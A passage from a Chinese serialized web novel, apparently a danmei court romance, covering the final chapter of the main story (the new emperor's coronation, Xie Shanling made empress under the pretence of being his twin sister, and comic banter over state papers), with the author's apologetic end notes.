顾望笙和贺子煜纠缠谢善淩……罢了罢了,谢善淩已经是覆水难收!反正也不是省油的灯!不管了!可江泊润年岁还小,遇事稚嫩是有的!陈贤直誓死守卫仅剩的这根清纯独苗! 宋淮安有些头疼。 也不知秦青是怎样地刺激过陈贤直,导致对方风声鹤唳,非以为自己对江锐图谋不轨,防狼似的防自己。 就说来的这一路上,他们仨男人在小马车里坐着不嫌挤吗?自己就顺嘴一提让江锐出来和自己同骑,江锐都觉得行,正要下车,硬是被陈贤直拽了回去。 江锐也觉得贤直兄有些草木皆兵了。宋淮安尚且不知,贤直兄私下里讲话说得特别直白:“顾……今上……他是断袖,那个贺子煜也是断袖,人以群分,宋淮安肯定也断袖……” 江锐欲言又止欲止又言,问:“那咱俩……” “谢思玄是被强娶的!他以前不是断袖!”陈贤直断然说。 江锐觉得不然:“似乎不是如此……” “就是如此,你不在京城你不知道这很正常,听我的,谢思玄以前就不是断袖,所以咱俩也不是,但那边的几个都是!你小心着点!不然你也要被强娶!”陈贤直警告道。 江锐迟疑一阵,见贤直兄气势逼人,只得喏喏应了…… 作者有话要说: 不是我生日,乱填的。这几天得空了发红包,现在我要出门了啊啊啊啊啊 第136章 正文完结 第136章 正文完结 ◎谢善淩最终立了后,但在他的坚持下,非说立的是他的双生妹妹谢善菱。◎ 谢善淩看着他三人在那纠葛, 不由微微一笑,转而仰头看向风吹动个不停的枝叶,良久,长长地叹出一口气。 至此, 一切告一段落。 今年的新年过得匆忙, 万事新立, 为了表面繁荣做了一番功夫,实则都忙得无心投入, 凑合过了。 过完年就是开春,万物复苏, 京城内外钟鼓齐鸣。历经这么久的战火动荡,彻底尘埃落定。 新帝身着玄色龙袍, 头戴十二旒通天冠,腰佩天子剑,一步一步走入登基大典, 登上九五之位。 百官俯首,天下归心。顾望笙却不露喜色,目光沉稳而深远。 到这一刻, 不免生出感慨万千。无论是曾经寺院中孤苦无依的自己, 还是起义后一路上倒在中途血泊里的弟兄们,亦或是那些已经败了的对手。 最终,他收回了万千的思绪,目光投向台下与义军功臣站在一起的谢善淩。 关于此事两人私下里讨论过很多次。 谢善淩很不愿意一起在此刻登台,也不想当众册后。他的意思是,如果非要立他为后, 低调点立了就行了, 不要立到人眼前去。 顾望笙闹过, 谢善淩死活不同意,还赌气从皇宫搬回谢府,顾望笙也就只能退让。 大典上,新帝登基礼成,借此时机大封新朝的功臣,谢善淩与宋淮安并立在第一位大功的位置上,都封了异姓平肩王,其余众人也各自论功封赏,皆不亏待。 为安抚旧臣,也从中挑了许多名声在外的贤良之人在拔擢名册之中,一并将曾经蒙冤如今肃清的名单也在今日再度公告天下。 之后一切也仍旧有条不紊地进行。大梁朝最后那些年荒诞入骨,天下各地的贪官酷吏与冤案多如牛毛,都不是一时之功,也不是自然而然就再不会发生的事情,而是需要几年、几十年,乃至于世世代代的坚持与警惕。 新朝自下而发,当然都知民心之重,一直以来也正是以让天下苦难的百姓过上好日子为旗帜,一朝得势,局势一稳,立刻推行种种利民新政,鼓励寒门学子入仕。 自是有旧的世族官宦不情愿,却也不敢明着来,只敢在桌下暗暗使劲驱赶,不让人来分一碗羹,然而这已经不是他们能够做主的时代了。 谢善淩最终如顾望笙所愿立了后,但在他的坚持下,非说立的是他的双生妹妹谢善菱。 众人:“……”爱怎么怎么吧你! 都知道谢善淩就是谢善菱,但谢善淩就是要掩耳盗铃,能拿他怎么着?这是皇帝的事儿了,大家懒得管了,反正也管不了,当热闹看呵呵…… 既然是妹妹当了皇后,那哥哥理所当然还是以功臣的身份自由行走于宫内宫外,比顾望笙自由多了,以至于他终有一日幽幽地朝宋淮安提出:“你可记得我其实有一个双生弟弟叫顾裕帧……” 宋淮安继续划拉自己面前的奏折,就算他位同“副帝”或说“太子”,与秦青共分政务,可依旧忙得每日睡觉都没什么空,如今都不爱笑了,闻言头也不抬地冷淡道:“前朝余孽,不要提了。” 秦青不死心道:“还有个叫顾望笙的不是前朝余孽,是谢善淩他夫君。” “姓顾,也是前朝余孽,别提了。”宋淮安继续头也不回地驳回。 “那秦红不是前朝余孽了吧?我双生妹妹!”秦青不耐烦了。 宋淮安这下子倒是来了几分兴致,抽空抬头看他:“我看看。” “她喜好男装。”秦青平静道。 宋淮安顿时失去兴趣,低头道:“喜好男装那就抓过来一起看折子,喜好女装就给我看看,看完一起看折子,反正最后都是看折子。” 秦青只好低头认命地继续看,看着看着就开始骂都这会儿了还有想糊弄鬼的,他看是这人自己想去当鬼了! 宋淮安抬眼瞥他。这人当了皇帝后,渐渐私底下不那么冷峻了,虽然不到谢公子说的亲人地步,但到底活泼了不少。想想不由一笑,抽出新的一本章子,看到封皮上的姓名,又笑了笑,打开正细看,突然就听到秦青故作冷酷地叫道:“你还知道回来?!” 宋淮安抬头看到谢善淩从殿外进来,打过招呼,谢善淩走去秦青那一桌,随意拿起一本翻看了下,说:“我得南下一趟……” 话未说完,秦青就嚷道:“你刚从西北回来!” “来不及多说了,回头再说……”谢善淩说着,自顾自摊开一张白纸刷刷写下点东西,拿起桌上的玉玺就喂泥盖印,吹干折好放入怀中,道声别就潇洒离去。 秦青目瞪口呆,反应过来后腾的起身就追了出去。 宋淮安听着他俩拉拉扯扯的声音渐远,幽幽叹了一口气,提笔批注一会儿,想想不由得再叹一口气,抬眼看着满屋子待办的公文,一脸麻木地又长叹一声。 秦青这个王八蛋,不是头一回借机把活儿都甩给自己干了……呵呵。 (正文完结) 作者有话要说: 先90°鞠躬道歉[爆哭]最近实在是忙不过来,挤牙膏似的每天挤一点点更新,真的太抱歉了[爆哭][爆哭][爆哭] 正文暂且完结,我会回头重理一遍修修改改细节地方。 接下来番外不一定日更,但肯定会更,而且尽量早点更多更点。大家有想看的可以在评论区提。 再次鞠躬道歉[捂脸笑哭][爆哭][可怜] 也谢谢大家的包容和观看!!![合十][红心][可怜]